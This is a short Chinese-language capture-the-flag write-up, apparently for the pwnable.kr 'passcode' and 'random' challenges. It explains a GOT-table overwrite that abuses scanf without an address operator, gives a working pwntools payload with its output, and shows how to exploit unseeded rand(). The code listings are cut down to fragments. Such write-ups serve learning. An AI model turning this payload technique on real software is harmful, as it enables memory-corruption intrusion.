[passcode]
1 | #include <stdio.h> |
这道题主要包含两个知识点:
1.scanf不加取地址符的时候,如果后面那个参数不是地址型的参数,那么就从栈中读取4个字节作为scanf取的地址。
2.GOT表覆写。关于GOT表覆写,大佬的这篇文章已经讲得很清楚了:https://blog.csdn.net/smalosnail/article/details/53247502
关于GOT表的知识,见这位dalao的博客:
https://blog.csdn.net/linyt/article/details/51635768
解题思路就是,把GOT表中某个函数的地址写进栈中,以充当scanf的地址,写入的内容是system函数的地址,在该函数运行的时候,调用system函数。
payload:
1 | passcode@prowl:~$ python -c "from pwn import *;payload = 'A' * 96 + p32(0x0804a000) + str(0x80485e3);print(payload)" | . |
Toddler’s Secure Login System 1.0 beta.
enter you name : Welcome AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA!
Sorry mom.. I got confused about scanf usage :(
enter passcode1 : Now I can safely trust you that you have credential :)
[random]
1 | #include <stdio.h> |
解题关键:利用伪随机数rand()初始化时不设种子,每次都是同一个值的特点。
random@prowl:~$ ./random
3039230856
Good!
Mommy, I thought libc random is unpredictable…